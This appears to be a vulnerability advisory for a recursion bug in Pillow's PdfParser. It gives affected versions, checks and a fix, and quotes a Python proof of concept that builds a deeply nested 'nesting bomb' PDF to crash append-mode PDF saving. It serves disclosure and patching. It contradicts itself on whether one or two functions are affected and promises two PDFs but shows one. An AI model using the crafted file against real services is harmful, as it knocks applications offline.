---
id: "CVE-2026-112391"
kind: "vulnerability"
aliases: ["CVE-2026-112391", "GHSA-254f-3936-288h"]
title: "Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()"
severity: "high"
cvss: 7.5
epss: 0.0029100000392645597
exploited: false
status: "open"
category: "package"
products: [{"name": "Pillow", "fixed": ["13.0.0"], "affected": ">= 5.1.0, < 13.0.0", "ecosystem": "pypi"}, {"name": "python pillow", "fixed": ["13.0.0"], "affected": ">= 5.1.0, < 13.0.0", "ecosystem": "vendor"}]
ecosystems: ["pypi", "vendor"]
tags: ["cwe-835", "package", "pdf-processing", "pillow", "python"]
not_affected_if: ["image-open-only", "no-append-mode-pdf-save", "pdfs-not-attacker-controlled", "pillow-below-5.1.0-or-at-13.0.0"]
published_at: "2026-10-19T21:17:07+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T22:28:57+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-254f-3936-288h", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112391", "first_seen_at": "2026-10-23T21:57:19+00:00"}]
---

# Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()

Pillow's PdfParser recurses without a depth limit when parsing deeply nested PDF objects, so a crafted PDF raises an uncaught RecursionError. An attacker who controls a PDF that the app appends to with Image.save(format="PDF", append=True) can crash that request, a denial of service with no data exposure.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:Pillow affected >= 5.1.0, < 13.0.0 fixed 13.0.0
- vendor:python pillow affected >= 5.1.0, < 13.0.0 fixed 13.0.0

## How to check

Run pip show pillow and check whether the version is >= 5.1.0 and < 13.0.0.
Find code that calls Image.save with format="PDF" and append=True on files that users or external sources can supply.

## Fix

Upgrade Pillow to 13.0.0 or later.
If upgrading is not possible, do not use append=True on untrusted PDF files.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-254f-3936-288h
- 2026-10-23T21:57:19+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112391

## From the sources

### Summary
`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format="PDF", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

### Details
**`get_value()` in `src/PIL/PdfParser.py`**

This is a classmethod that takes `max_nesting: int = -1` and has a guard:

```python
if max_nesting == 0:
    return None, None
```

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .

### Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.

```python
from PIL.PdfParser import PdfParser

def build_pdf(root):
    out = bytearray(b"%PDF-1.4\n")
    offset = len(out)
    out += f"1 0 obj\n".encode()
    out += root
    out += b"\nendobj\n"
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    xref_offset = len(out)
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    out += b"trailer\n"
    out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
    out += b"startxref\n"
    out += f"{xref_offset}\n".encode()
    out += b"%%EOF"
    return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
    f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf")     # raises RecursionError
```

Expected: a clean `PdfFormatError`.

Actual: raises a raw `RecursionError: maximum recursion depth exceeded`.

### Impact
- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format="PDF", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.
- Confidentiality: none.
- Integrity: none.
- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
